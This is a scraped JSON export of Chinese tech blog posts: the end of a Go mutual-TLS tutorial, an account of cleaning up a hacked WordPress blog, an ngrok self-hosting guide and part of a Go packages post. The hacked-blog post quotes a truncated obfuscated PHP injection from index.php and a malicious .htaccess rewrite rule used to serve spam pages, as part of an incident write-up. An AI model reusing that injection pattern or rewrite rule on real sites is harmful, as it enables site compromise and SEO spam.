authentication\u0026rdquo;)\n}\n大致判断是证书中的ExtKeyUsage信息应该包含clientAuth。翻看openssl的相关资料，了解到自CA签名的数字证书中包含的都是一些basic的信息，根本没有ExtKeyUsage的信息。我们可以用命令来查看一下当前client.crt的内容：\n$ openssl x509 -text -in client.crt -noout\nCertificate:\nData:\nVersion: 1 (0×0)\nSerial Number:\nd6:e3:f6:fa:ae:65:ed:df\nSignature Algorithm: sha1WithRSAEncryption\nIssuer: CN=tonybai.com\nValidity\nNot Before: Apr 30 14:11:34 2015 GMT\nNot After : Jan 6 14:11:34 2029 GMT\nSubject: CN=tonybai_cn\nSubject Public Key Info:\nPublic Key Algorithm: rsaEncryption\nRSA Public Key: (2048 bit)\nModulus (2048 bit):\n00:e4:12:22:50:75:ae:b2:8a:9e:56:d5:f3:7d:31:\n7b:aa:75:5d:3f:90:05:4e:ff:ed:9a:0a:2a:75:15:\n… …\nExponent: 65537 (0×10001)\nSignature Algorithm: sha1WithRSAEncryption\n76:3b:31:3e:9d:b0:66:ad:c0:03:d4:19:c6:f2:1a:52:91:d6:\n13:31:3a:c5:d5:58:ea:42:1d:b7:33:b8:43:a8:a8:28:91:ac:\n… …\n而偏偏golang的tls又要校验ExtKeyUsage，如此我们需要重新生成client.crt，并在生成时指定extKeyUsage。经过摸索，可以用如下方法重新生成client.crt：\n1、创建文件client.ext\n内容：\nextendedKeyUsage=clientAuth\n2、重建client.crt\n$openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -extfile client.ext -out client.crt -days 5000\nSignature ok\nsubject=/CN=tonybai_cn\nGetting CA Private Key\n再通过命令查看一下新client.crt：\n看到输出的文本中多了这么几行：\nX509v3 extensions:\nX509v3 Extended Key Usage:\nTLS Web Client Authentication\n这说明client.crt的extended key usage已经添加成功了。我们再来执行一下server和client：\n$ go run client.go\nHi, This is an example of http service in golang!\nclient端证书验证成功，也就是说双向证书验证均ok了。\n七、小结\n通过上面的例子可以看出，使用golang开发https相关程序十分便利，Golang标准库已经实现了TLS 1.2版本协议。上述所有example代码均放在我的github上的experiments/gohttps中。\n","permalink":"https://tonybai.com/2015/04/30/go-and-https/","summary":"\u003cp\u003e近期在构思一个产品，考虑到安全性的原因，可能需要使用到\u003ca href=\"http://en.wikipedia.org/wiki/HTTPS\"\u003eHTTPS\u003c/a\u003e协议以及双向数字证书校验。之前只是粗浅接触过HTTP（\u003ca href=\"http://tonybai.com/2014/12/18/access-validation-for-wechat-public-platform-dev-in-golang/\"\u003e使用Golang开 发微信系列\u003c/a\u003e）。对HTTPS的了解则始于那次\u003ca href=\"http://tonybai.com/2015/03/14/selfhost-ngrok-service/\"\u003e自行搭建ngrok服务\u003c/a\u003e，在那个过程中照猫画虎地为服务端生成了一些私钥和证书，虽然结果是好 的：ngrok服务成功搭建起来了，但对HTTPS、数字证书等的基本原理并未求甚解。于是想趁这次的机会，对HTTPS做一些深度挖掘。主要途 径：翻阅网上资料、书籍，并利用golang编写一些实验examples。\u003c/p\u003e","title":"Go和HTTPS"},{"content":"记得前些日子，我在Blog评论里发现有人说我的Blog站点被黑：\n\u0026ldquo;YOUR SITE HAS BEEN HACKED – THERE ARE PARASITE PAGES IN http://tonybai.com/dl SECURE YOUR SITE!!!\u0026rdquo;\n粗浅检查了一番，没有发现什么异常，也就没把这事当回事儿。\n昨天上Gmail(由于需要搭梯子，不经常登录)，发现一位网友发来mail说我的站点被入侵了，还附上了google search结果的截图：\n接着我也发现了google webmaster发来的mail，同样是警告我的博客站点被黑，并给出了两个可疑URL：\nhttp://tonybai.com/dl\nhttp://tonybai.com/dl/call-of-duty-4-modern-warfare-crack-download-tpb.html\n我自己访问了一下上述URL，我靠！果然被黑了。\n以前blog站点无论是搭建在dreamhost上还是朋友的主机上时都未出现过被黑的情况，这次在DO上居然被黑，之前没有解决类似问题的经验，这次只能从头摸索。\n看了几篇解决wordpress被黑问题的文章，都推荐先安装几个安全插件对site进行扫描，于是我就试了两个：iThemes Security和Wordfence Security。前者似乎有问题，安装后，dashboard页一片空白。Wordfence Security还好，只是每次scan都无法finish，也就无法得到到底哪些wordpress文件被感染的结果。\n插件不可靠，只能自己“手工”解决了。\n首先到server上利用find , ls等命令对比时间，发现是否有哪些文件的最近访问时间戳与其他文件有差异。不过search了半天，也没发现半点痕迹。\n网上还推荐用文件比对工具，比对现在的wordpress文件与backup的文件异同。多亏有backup插件的备份包，于是下载了20150326和20150409的backup zip，使用beyond compare进行目录比对。不比不知道，一比吓一跳啊：index.php文件时间戳相同，但内容居然不同。\n0409中的index.php的头部居然多了一段代码：\n\u003c?php $V3a3xH8=\"JQAgHfEmQKV+JuR5Y38ZdWofSxp4PSPn00uzTC …. …. ($CdFxbnu0g($nGXNegRe($dvXZv9($cDjofDA))));?\u003e 显然这就是入侵代码了。删除这段代码，重启apache2，试试再访问以下上述那两个URL。结果是令人悲伤的，页面居然还能正常打开和显示。我第一时间想到的是浏览器和apache2的缓存。\n强制刷新brower，无用。\n查找apache2关于Cache的配置，发现一个：/etc/apache2/mods-available/cache_disk.conf\n其内容：\n\u0026lt;IfModule mod_cache_disk.c\u0026gt;\ncache cleaning is done by htcacheclean, which can be configured in # /etc/default/apache2\n#\n# For further information, see the comments in that file,\n# /usr/share/doc/apache2/README.Debian, and the htcacheclean(8)\n# man page.\nThis path must be the same as the one in /etc/default/apache2 CacheRoot /var/cache/apache2/mod_cache_disk\nThis will also cache local documents. It usually makes more sense to # put this into the configuration for just one virtual host.\n#CacheEnable disk /\nThe result of CacheDirLevels * CacheDirLength must not be higher than # 20. Moreover, pay attention on file system limits. Some file systems\n# do not support more than a certain number of inodes and\n# subdirectories (e.g. 32000 for ext3)\nCacheDirLevels 2\nCacheDirLength 1\n查看CacheRoot，发现/var/cache/apache2/mod_cache_disk下是空的。显然并未缓存。\n难道还有其他位置为hacked了？难道0326的backup也是被hack过的？\n于是我翻箱倒柜，在电脑里发现了20150101的backup，用这个Backup和0409又对比了一次，这回发现了另外一个被hack的文件：.htaccess。\n.htaccess中多了这么一行代码：\nRewriteRule ^dl/(.*)$ wp-add.php [L]\n原来入侵的人或程序总共在我的主机上做了多处修改，这里总结一下：\n1、.htaccess中增加一行规则\n2、添加wp-add.php\n3、修改了index.php\n4、修改了wp-includes/theme-compat/header.php\n5、修改了wp-content/themes/xx/header.php和footer.php\n我ls了一下0409下的文件：\n-rw-r–r– 1 tony staff 4343 11 28 04:01 wp-activate.php\n-rw-r–r– 1 tony staff 1991 11 28 04:01 wp-add.php\ndrwxr-xr-x 89 tony staff 3026 4 9 11:00 wp-admin/\n-rw-r–r– 1 tony staff 40243 11 28 04:01 wp-app.php\n可以看出入侵代码在添加文件之后，对文件时间做了调整，让简单的时间戳对比无法揪出这个罪魁。\n去除以上入侵代码后，上述可以网址就无法访问了。\n在google webmaster提交request，期望google 早日将搜索结果中的\u0026quot;此网站可能遭到黑客入侵\u0026ldquo;标签去掉。\n之后将密码修改了一遍，希望后续能免疫。\n后记：\n根据朋友建议，将blog的文件用git管理起来，并push到bitbucket的private repository中，这样一旦再被hack，恢复起来也较为方便。\n步骤如下：\n1、在/var/www目录下git init\n2、git add ./\n3、git commit -m”initial import” ./\n4、git remote add origin https://user@bitbucket.org/user/blog.git\n5、git push origin master\n","permalink":"https://tonybai.com/2015/04/12/fix-hacked-blog-site/","summary":"\u003cp\u003e记得前些日子，我在Blog评论里发现有人说我的Blog站点被黑：\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;YOUR SITE HAS BEEN HACKED – THERE ARE PARASITE PAGES IN \u003ca href=\"http://tonybai.com/dl\"\u003ehttp://tonybai.com/dl\u003c/a\u003e SECURE YOUR SITE!!!\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e粗浅检查了一番，没有发现什么异常，也就没把这事当回事儿。\u003c/p\u003e","title":"Blog站点被黑以及问题解决过程"},{"content":"在国内开发微信公众号、企业号以及做前端开发的朋友想必对ngrok都不陌生吧，就目前来看，ngrok可是最佳的在内网调试微信服务的tunnel工 具。记得今年春节前，ngrok.com提供的服务还一切正常呢，但春节后似乎就一切不正常了。ngrok.com无法访问，ngrok虽然能连上 ngrok.com提供的服务，但微信端因为无法访问ngrok.com，导致消息一直无法发送到我们的服务地址上，比如xxxx.ngrok.com。 这一切都表明，ngork被墙了。没有了ngrok tunnel，一切开始变得困难且没有效率起来。内网到外部主机部署和调试是一件慢的让人想骂街的事情。\nngrok不能少。ngrok以及其服务端ngrokd都是开源的，之前我也知道通过源码可以自搭建ngrok服务。请求搜索引擎后，发现国内有个朋友已经搭建了一个www.tunnel.mobi的ngrok公共服务，与ngrok.com类似，我也实验了一下。\n编写一个ngrok.cfg，内容如下：\nserver_addr: \u0026ldquo;tunnel.mobi:44433\u0026rdquo;\ntrust_host_root_certs: true\n用ngrok最新客户端1.7版本执行如下命令：\n$ngrok -subdomain tonybaiexample -config=ngrok.cfg 80\n可以顺利建立一个tunnel，用于本机向外部提供\u0026quot;tonybaiexample.tunnel.mobi\u0026quot;服务。\nTunnel Status online\nVersion 1.7/1.7\nForwarding http://tonybaiexample.tunnel.mobi -\u0026gt; 127.0.0.1:80\nForwarding https://tonybaiexample.tunnel.mobi -\u0026gt; 127.0.0.1:80\nWeb Interface 127.0.0.1:4040\n# Conn 0\nAvg Conn Time 0.00ms\n而且国内的ngrok服务显然要远远快于ngrok.com提供的服务，消息瞬间即达。\n但这是在公网上直接访问的结果。放在公司内部，我看到的却是另外一个结果：\nTunnel Status reconnecting\nVersion 1.7/\nWeb Interface 127.0.0.1:4040\n# Conn 0\nAvg Conn Time 0.00ms\n我们无法从内网建立tunnel，意味着依旧不方便和低效，因为很多基础服务都在内网部署，内外网之间的交互十分不便。但内网连不上tunnel.mobi也是个事实，且无法知道原因，因为看不到server端的连接错误日志。\n于是我决定自建一个ngrok服务。\n一、准备工作\n搭建ngrok服务需要在公网有一台vps，去年年末曾经在Amazon申请了一个体验主机EC2，有公网IP一个，这次就打算用这个主机作为ngrokd服务端。\n需要一个自己的域名。已有域名的，可以建立一个子域名，用于关联ngrok服务，这样也不会干扰原先域名提供的服务。(不用域名的方式也许可以，但我没有试验过。）\n搭建的参考资料主要来自下面三个：\nngrok的官方SELFHOST指南：https://github.com/inconshreveable/ngrok/blob/master/docs/SELFHOSTING.md 国外一哥们的博客：http://www.svenbit.com/2014/09/run-ngrok-on-your-own-server/ \u0026ldquo;海运的博客\u0026quot;中的一篇文章：http://www.haiyun.me/archives/1012.html 二、实操****步骤\n我的AWS EC2实例安装的是Ubuntu Server 14.04 x86_64，并安装了golang 1.4（go version go1.4 linux/amd64）。Golang是编译ngrokd和ngrok所必须的，建议直接从golang官方下载对应平台的二进制安装包（国内可以从 golangtc.com上下载，速度慢些罢了）。\n1、下载ngrok源码\n（GOPATH=~/goproj)\n$ mkdir /goproj/src/github.com/inconshreveable\n$ git clone https://github.com/inconshreveable/ngrok.git\n$ export GOPATH=/goproj/src/github.com/inconshreveable/ngrok\n2、生成自签名证书\n使用ngrok.com官方服务时，我们使用的是官方的SSL证书。自建ngrokd服务，我们需要生成自己的证书，并提供携带该证书的ngrok客户端。\n证书生成过程需要一个NGROK_BASE_DOMAIN。 以ngrok官方随机生成的地址693c358d.ngrok.com为例，其NGROK_BASE_DOMAIN就是\u0026quot;ngrok.com\u0026rdquo;，如果你要 提供服务的地址为\u0026quot;example.tunnel.tonybai.com\u0026quot;，那NGROK_BASE_DOMAIN就应该 是\u0026quot;tunnel.tonybai.com\u0026quot;。\n我们这里以NGROK_BASE_DOMAIN=\u0026ldquo;tunnel.tonybai.com\u0026quot;为例，生成证书的命令如下：\n$ cd ~/goproj/src/github.com/inconshreveable/ngrok\n$ openssl genrsa -out rootCA.key 2048\n$ openssl req -x509 -new -nodes -key rootCA.key -subj \u0026ldquo;/CN=tunnel.tonybai.com\u0026rdquo; -days 5000 -out rootCA.pem\n$ openssl genrsa -out device.key 2048\n$ openssl req -new -key device.key -subj \u0026ldquo;/CN=tunnel.tonybai.com\u0026rdquo; -out device.csr\n$ openssl x509 -req -in device.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out device.crt -days 5000\n执行完以上命令，在ngrok目录下就会新生成6个文件：\n-rw-rw-r– 1 ubuntu ubuntu 1001 Mar 14 02:22 device.crt\n-rw-rw-r– 1 ubuntu ubuntu 903 Mar 14 02:22 device.csr\n-rw-rw-r– 1 ubuntu ubuntu 1679 Mar 14 02:22 device.key\n-rw-rw-r– 1 ubuntu ubuntu 1679 Mar 14 02:21 rootCA.key\n-rw-rw-r– 1 ubuntu ubuntu 1119 Mar 14 02:21 rootCA.pem\n-rw-rw-r– 1 ubuntu ubuntu 17 Mar 14 02:22 rootCA.srl\nngrok通过bindata将ngrok源码目录下的assets目录（资源文件）打包到可执行文件(ngrokd和ngrok)中 去，assets/client/tls和assets/server/tls下分别存放着用于ngrok和ngrokd的默认证书文件，我们需要将它们替换成我们自己生成的：(因此这一步务必放在编译可执行文件之前)\ncp rootCA.pem assets/client/tls/ngrokroot.crt\ncp device.crt assets/server/tls/snakeoil.crt\ncp device.key assets/server/tls/snakeoil.key\n3、编译ngrokd和ngrok\n在ngrok目录下执行如下命令，编译ngrokd：\n$ make release-server\n不过在我的AWS上，出现如下错误：\nGOOS=\u0026rdquo;\u0026quot; GOARCH=\u0026quot;\u0026quot; go get github.com/jteeuwen/go-bindata/go-bindata\nbin/go-bindata -nomemcopy -pkg=assets -tags=release \\\n-debug=false \\\n-o=src/ngrok/client/assets/assets_release.go \\\nassets/client/…\nmake: bin/go-bindata: Command not found\nmake: *** [client-assets] Error 127\ngo-bindata被安装到了$GOBIN下了，go编译器找不到了。修正方法是将$GOBIN/go-bindata拷贝到当前ngrok/bin下。\n$ cp /home/ubuntu/.bin/go14/bin/go-bindata ./bin\n再次执行make release-server。\n~/goproj/src/github.com/inconshreveable/ngrok$ make release-server\nbin/go-bindata -nomemcopy -pkg=assets -tags=release \\\n-debug=false \\\n-o=src/ngrok/client/assets/assets_release.go \\\nassets/client/…\nbin/go-bindata -nomemcopy -pkg=assets -tags=release \\\n-debug=false \\\n-o=src/ngrok/server/assets/assets_release.go \\\nassets/server/…\ngo get -tags \u0026lsquo;release\u0026rsquo; -d -v ngrok/…\ncode.google.com/p/log4go (download)\ngo: missing Mercurial command. See http://golang.org/s/gogetcmd\npackage code.google.com/p/log4go: exec: \u0026ldquo;hg\u0026rdquo;: executable file not found in $PATH\ngithub.com/gorilla/websocket (download)\ngithub.com/inconshreveable/go-update (download)\ngithub.com/kardianos/osext (download)\ngithub.com/kr/binarydist (download)\ngithub.com/inconshreveable/go-vhost (download)\ngithub.com/inconshreveable/mousetrap (download)\ngithub.com/nsf/termbox-go (download)\ngithub.com/mattn/go-runewidth (download)\ngithub.com/rcrowley/go-metrics (download)\nFetching https://gopkg.in/yaml.v1?go-get=1\nParsing meta tags from https://gopkg.in/yaml.v1?go-get=1 (status code 200)\nget \u0026ldquo;gopkg.in/yaml.v1\u0026rdquo;: found meta tag main.metaImport{Prefix:\u0026ldquo;gopkg.in/yaml.v1\u0026rdquo;, VCS:\u0026ldquo;git\u0026rdquo;, RepoRoot:\u0026ldquo;https://gopkg.in/yaml.v1\u0026rdquo;} at https://gopkg.in/yaml.v1?go-get=1\ngopkg.in/yaml.v1 (download)\nmake: *** [deps] Error 1\n又出错！提示找不到hg，原来是aws上没有安装hg。install hg后（sudo apt-get install mercurial），再编译。\n$ make release-server\nbin/go-bindata -nomemcopy -pkg=assets -tags=release \\\n-debug=false \\\n-o=src/ngrok/client/assets/assets_release.go \\\nassets/client/…\nbin/go-bindata -nomemcopy -pkg=assets -tags=release \\\n-debug=false \\\n-o=src/ngrok/server/assets/assets_release.go \\\nassets/server/…\ngo get -tags \u0026lsquo;release\u0026rsquo; -d -v ngrok/…\ncode.google.com/p/log4go (download)\ngo install -tags \u0026lsquo;release\u0026rsquo; ngrok/main/ngrokd\n同样编译ngrok:\n$ make release-client\nbin/go-bindata -nomemcopy -pkg=assets -tags=release \\\n-debug=false \\\n-o=src/ngrok/client/assets/assets_release.go \\\nassets/client/…\nbin/go-bindata -nomemcopy -pkg=assets -tags=release \\\n-debug=false \\\n-o=src/ngrok/server/assets/assets_release.go \\\nassets/server/…\ngo get -tags \u0026lsquo;release\u0026rsquo; -d -v ngrok/…\ngo install -tags \u0026lsquo;release\u0026rsquo; ngrok/main/ngrok\nAWS上ngrokd和ngrok被安装到了$GOBIN下。\n三、调试\n1、启动ngrokd\n$ ngrokd -domain=\u0026ldquo;tunnel.tonybai.com\u0026rdquo; -httpAddr=\u0026quot;:8080\u0026quot; -httpsAddr=\u0026quot;:8081\u0026quot;\n[03/14/15 04:47:24] [INFO] [registry] [tun] No affinity cache specified\n[03/14/15 04:47:24] [INFO] [metrics] Reporting every 30 seconds\n[03/14/15 04:47:24] [INFO] Listening for public http connections on [::]:8080\n[03/14/15 04:47:24] [INFO] Listening for public https connections on [::]:8081\n[03/14/15 04:47:24] [INFO] Listening for control and proxy connections on [::]:4443\n… …\n2、公网连接ngrok****d\n将生成的ngrok下载到自己的电脑上。\n创建一个配置文件ngrok.cfg，内容如下：\nserver_addr: \u0026ldquo;tunnel.tonybai.com:4443\u0026rdquo;\ntrust_host_root_certs: false\n执行ngrok：\n$ ngrok -subdomain example -config=ngrok.cfg 80\nTunnel Status reconnecting\nVersion 1.7/\nWeb Interface 127.0.0.1:4040\n# Conn 0\nAvg Conn Time 0.00ms\n连接失败。此刻我的电脑是在公网上。查看ngrokd的日志，没有发现连接到达Server端。试着在本地ping tunnel.tonybai.com这个地址，发现地址不通。难道是DNS设置的问题。之前我只是设置了\u0026quot;*.tunnel.tonybai.com\u0026quot;的A地址，并未设置\u0026quot;tunnel.tonybai.com\u0026quot;。于是到DNS管理页面，添加了\u0026quot;tunnel.tonybai.com\u0026quot;的A记录。\n待DNS记录刷新OK后，再次启动ngrok：\nTunnel Status online\nVersion 1.7/1.7\nForwarding http://epower.tunnel.tonybai.com:8080 -\u0026gt; 127.0.0.1:80\nForwarding https://epower.tunnel.tonybai.com:8080 -\u0026gt; 127.0.0.1:80\nWeb Interface 127.0.0.1:4040\n# Conn 0\nAvg Conn Time 0.00ms\n这回连接成功了！\n3、内网连接ngrokd\n将ngrok拷贝到内网的一台PC上，这台PC设置了公司的代理。\n按照同样的步骤启动ngrok：\n$ ngrok -subdomain example -config=ngrok.cfg 80\nTunnel Status reconnecting\nVersion 1.7/\nWeb Interface 127.0.0.1:4040\n# Conn 0\nAvg Conn Time 0.00ms\n不巧，怎么又失败了！从Server端来看，还是没有收到客户端的连接，显然是连接没有打通公司内网。从我自己的squid代理服务器来看，似乎只有443端口的请求被公司代理服务器允许通过，4443则无法出去。\n1426301143.558 9294 10.10.126.101 TCP_MISS/000 366772 CONNECT api.equinox.io:443 – DEFAULT_PARENT/proxy.xxx.com - 通过了\n1426301144.441 27 10.10.126.101 TCP_MISS/000 1185 CONNECT tunnel.tonybai.com:4443 – DEFAULT_PARENT/proxy.xxx.com - 似乎没有通过\n只能修改server监听端口了。将-tunnelAddr由4443改为443(注意AWS上需要修改防火墙的端口规则，这个是实时生效的，无需重启实例)：\n$ sudo ngrokd -domain=\u0026ldquo;tunnel.tonybai.com\u0026rdquo; -httpAddr=\u0026quot;:8080\u0026quot; -httpsAddr=\u0026quot;:8081\u0026quot; -tunnelAddr=\u0026quot;:443\u0026quot;\n[03/14/15 04:47:24] [INFO] [registry] [tun] No affinity cache specified\n[03/14/15 04:47:24] [INFO] [metrics] Reporting every 30 seconds\n[03/14/15 04:47:24] [INFO] Listening for public http connections on [::]:8080\n[03/14/15 04:47:24] [INFO] Listening for public https connections on [::]:8081\n[03/14/15 04:47:24] [INFO] Listening for control and proxy connections on [::]:443\n… …\n将ngrok.cfg中的地址改为443：\nserver_addr: \u0026ldquo;tunnel.tonybai.com:443\u0026rdquo;\n再次执行ngrok客户端：\nTunnel Status online\nVersion 1.7/1.7\nForwarding http://epower.tunnel.tonybai.com:8080 -\u0026gt; 127.0.0.1:80\nForwarding https://epower.tunnel.tonybai.com:8080 -\u0026gt; 127.0.0.1:80\nWeb Interface 127.0.0.1:4040\n# Conn 0\nAvg Conn Time 0.00ms\n这回成功连上了。\n4、80端口\n是否大功告成了呢？我们看看ngrok的结果，总感觉哪里不对呢？噢，转发的地址怎么是8080端口呢？为何不是80？微信公众号/企业号可只是支持80端口啊！\n我们还需要修改一下Server端的参数，将-httpAddr从8080改为80。\n$ sudo ngrokd -domain=\u0026ldquo;tunnel.tonybai.com\u0026rdquo; -httpAddr=\u0026quot;:80\u0026quot; -httpsAddr=\u0026quot;:8081\u0026quot; -tunnelAddr=\u0026quot;:443\u0026quot;\n这回再用ngrok连接一下：\nTunnel Status online\nVersion 1.7/1.7\nForwarding http://epower.tunnel.tonybai.com -\u0026gt; 127.0.0.1:80\nForwarding https://epower.tunnel.tonybai.com -\u0026gt; 127.0.0.1:80\nWeb Interface 127.0.0.1:4040\n# Conn 0\nAvg Conn Time 0.00ms\n这回与我们的需求匹配上了。\n5、测试\n在内网的PC上建立一个简单的http server 程序：hello\n//hello.go\npackage main\nimport \u0026ldquo;net/http\u0026rdquo;\nfunc main() {\nhttp.HandleFunc(\u0026quot;/\u0026quot;, hello)\nhttp.ListenAndServe(\u0026quot;:80\u0026quot;, nil)\n}\nfunc hello(w http.ResponseWriter, r *http.Request) {\nw.Write([]byte(\u0026ldquo;hello!\u0026rdquo;))\n}\n$ go build -o hello hello.go\n$ sudo ./hello\n通过公网浏览器访问一下“http://epower.tunnel.tonybai.com”这个地址，如果你看到浏览器返回\u0026quot;hello!\u0026ldquo;字样，那么你的ngrokd服务就搭建成功了！\n四、注意事项\n客户端ngrok.cfg中server_addr后的值必须严格与-domain以及证书中的NGROK_BASE_DOMAIN相同，否则Server端就会出现如下错误日志：\n[03/13/15 09:55:46] [INFO] [tun:15dd7522] New connection from 54.149.100.42:38252\n[03/13/15 09:55:46] [DEBG] [tun:15dd7522] Waiting to read message\n[03/13/15 09:55:46] [WARN] [tun:15dd7522] Failed to read message: remote error: bad certificate\n[03/13/15 09:55:46] [DEBG] [tun:15dd7522] Closing\n","permalink":"https://tonybai.com/2015/03/14/selfhost-ngrok-service/","summary":"\u003cp\u003e在国内开发\u003ca href=\"https://mp.weixin.qq.com/\"\u003e微信公众号\u003c/a\u003e、\u003ca href=\"http://qydev.weixin.qq.com/\"\u003e企业号\u003c/a\u003e以及做前端开发的朋友想必对\u003ca href=\"https://github.com/inconshreveable/ngrok\"\u003engrok\u003c/a\u003e都不陌生吧，就目前来看，ngrok可是最佳的在内网调试微信服务的tunnel工 具。记得今年春节前，ngrok.com提供的服务还一切正常呢，但春节后似乎就一切不正常了。ngrok.com无法访问，ngrok虽然能连上 ngrok.com提供的服务，但微信端因为无法访问ngrok.com，导致消息一直无法发送到我们的服务地址上，比如xxxx.ngrok.com。 这一切都表明，ngork被墙了。没有了ngrok tunnel，一切开始变得困难且没有效率起来。内网到外部主机部署和调试是一件慢的让人想骂街的事情。\u003c/p\u003e","title":"搭建自己的ngrok服务"},{"content":"Golang使用包（package）这种语法元素来组织源码，所有语法可见性均定义在package这个级别，与Java 、python等语言相比，这算不上什么创新，但与C传统的include相比，则是显得“先进”了许多。\nGolang中包的定义和使用看起来十分简单：\n通过package关键字定义包：\npackage xxx\n使用import关键字，导入要使用的标准库包或第三方依赖包。\nimport \u0026ldquo;a/b/c\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nc.Func1()\nfmt.Println(\u0026ldquo;Hello, World\u0026rdquo;)\n很多Golang初学者看到上面代码，都会想当然的将import后面的\u0026quot;c\u0026quot;、\u0026ldquo;fmt\u0026quot;当成包名，将其与c.Func1()和 fmt.Println()中的c和fmt认作为同一个语法元素：包名。但在深入Golang后，很多人便会发现事实上并非如此。比如在使用实时分布式消 息平台nsq提供的go client api时：\n我们导入的路径如下：\nimport “github.com/bitly/go-nsq”\n但在使用其提供的export functions时，却用nsq做前缀包名：\nq, _ := nsq.NewConsumer(\u0026ldquo;write_test\u0026rdquo;, \u0026ldquo;ch\u0026rdquo;, config)\n人们不禁要问：import后面路径中的最后一个元素到底代表的是啥? 是包名还是仅仅是一个路径？我们一起通过试验来理解一下。 实验环境：darwin_amd64 , go 1.4。\n初始试验环境目录结果如下：\nGOPATH = /Users/tony/Test/Go/pkgtest/\npkgtest/\npkg/\nsrc/\nlibproj1/\nfoo/\nfoo1.go\napp1/\nmain.go\n一、编译时使用的是包源码还是.a\n我们知道一个非main包在编译后会生成一个.a文件（在临时目录下生成，除非使用go install安装到$GOROOT或$GOPATH下，否则你看不到.a），用于后续可执行程序链接使用。\n比如Go标准库中的包对应的源码部分路径在：$GOROOT/src，而标准库中包编译后的.a文件路径在$GOROOT/pkg/darwin_amd64下。一个奇怪的问题在我脑袋中升腾起来，编译时，编译器到底用的是.a还是源码？\n我们先以用户自定义的package为例做个小实验。\n$GOPATH/src/\nlibproj1/foo/\n– foo1.go\napp1\n– main.go\n//foo1.go\npackage foo\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Foo1() {\nfmt.Println(\u0026ldquo;Foo1\u0026rdquo;)\n}\n// main.go\npackage main\nimport (\n\u0026ldquo;libproj1/foo\u0026rdquo;\n)\nfunc main() {\nfoo.Foo1()\n}\n执行go install libproj1/foo，Go编译器编译foo包，并将foo.a安装到$GOPATH/pkg/darwin_amd64/libproj1下。\n编译app1：go build app1，在app1目录下生成app1*可执行文件，执行app1，我们得到一个初始预期结果：\n$./app1\nFoo1\n现在我们无法看出使用的到底是foo的源码还是foo.a，因为目前它们的输出都是一致的。我们修改一下foo1.go的代码：\n//foo1.go\npackage foo\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Foo1() {\nfmt.Println(\u0026ldquo;Foo1 – modified\u0026rdquo;)\n}\n重新编译执行app1，我们得到结果如下：\n$./app1\nFoo1 – modified\n实际测试结果告诉我们：(1)在使用第三方包的时候，当源码和.a均已安装的情况下，编译器链接的是源码。\n那么是否可以只链接.a，不用第三方包源码呢？我们临时删除掉libproj1目录，但保留之前install的libproj1/foo.a文件。\n我们再次尝试编译app1，得到如下错误：\n$go build app1\nmain.go:5:2: cannot find package \u0026ldquo;libproj1/foo\u0026rdquo; in any of:\n/Users/tony/.Bin/go14/src/libproj1/foo (from $GOROOT)\n/Users/tony/Test/Go/pkgtest/src/libproj1/foo (from $GOPATH)\n编译器还是去找源码，而不是.a，因此我们要依赖第三方包，就必须搞到第三方包的源码，这也是Golang包管理的一个特点。\n其实通过编译器的详细输出我们也可得出上面结论。我们在编译app1时给编译器传入-x -v选项：\n$go build -x -v app1\nWORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build797811168\nlibproj1/foo\nmkdir -p $WORK/libproj1/foo/_obj/\nmkdir -p $WORK/libproj1/\ncd /Users/tony/Test/Go/pkgtest/src/libproj1/foo\n/Users/tony/.Bin/go14/pkg/tool/darwin_amd64/6g -o $WORK/libproj1/foo.a -trimpath $WORK -p libproj1/foo -complete -D _/Users/tony/Test/Go/pkgtest/src/libproj1/foo -I $WORK -pack ./foo1.go ./foo2.go\napp1\nmkdir -p $WORK/app1/_obj/\nmkdir -p $WORK/app1/_obj/exe/\ncd /Users/tony/Test/Go/pkgtest/src/app1\n/Users/tony/.Bin/go14/pkg/tool/darwin_amd64/6g -o $WORK/app1.a -trimpath $WORK -p app1 -complete -D _/Users/tony/Test/Go/pkgtest/src/app1 -I $WORK -I /Users/tony/Test/Go/pkgtest/pkg/darwin_amd64 -pack ./main.go\ncd .\n/Users/tony/.Bin/go14/pkg/tool/darwin_amd64/6l -o $WORK/app1/_obj/exe/a.out -L $WORK -L /Users/tony/Test/Go/pkgtest/pkg/darwin_amd64 -extld=clang $WORK/app1.a\nmv $WORK/app1/_obj/exe/a.out app1\n可以看到编译器6g首先在临时路径下编译出依赖包foo.a，放在$WORK/libproj1下。但我们在最后6l链接器的执行语句中并未显式看到app1链接的是$WORK/libproj1下的foo.a。但是从6l链接器的-L参数来看：**-L $WORK -L /Users/tony/Test/Go/pkgtest/pkg/darwin_amd64，**我们发现$WORK目录放在了前面，我们猜测6l首先搜索到的时$WORK下面的libproj1/foo.a。\n为了验证我们的推论，我们按照编译器输出，按顺序手动执行了一遍如上命令，但在最后执行6l命令时，去掉了-L $WORK：\n/Users/tony/.Bin/go14/pkg/tool/darwin_amd64/6l -o $WORK/app1/_obj/exe/a.out -L /Users/tony/Test/Go/pkgtest/pkg/darwin_amd64 -extld=clang $WORK/app1.a\n这样做的结果是：\n$./app1\nFoo1\n编译器链接了$GOPATH/pkg下的foo.a。(2)到这里我们明白了所谓的使用第三方包源码，实际上是链接了以该最新源码编译****的临时目录下的.a文件而已。\nGo标准库中的包也是这样么？对于标准库，比如fmt而言，编译时，到底使用的时$GOROOT/src下源码还是$GOROOT/pkg下已经编译好的.a呢？\n我们不妨也来试试，一个最简单的hello world例子：\n//main.go\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Println(\u0026ldquo;Hello, World\u0026rdquo;)\n}\n我们先将$GOROOT/src/fmt目录rename 为fmtbak，看看go compiler有何反应？\ngo build -x -v ./\n$go build -x -v ./\nWORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build957202426\nmain.go:4:8: cannot find package \u0026ldquo;fmt\u0026rdquo; in any of:\n/Users/tony/.Bin/go14/src/fmt (from $GOROOT)\n/Users/tony/Test/Go/pkgtest/src/fmt (from 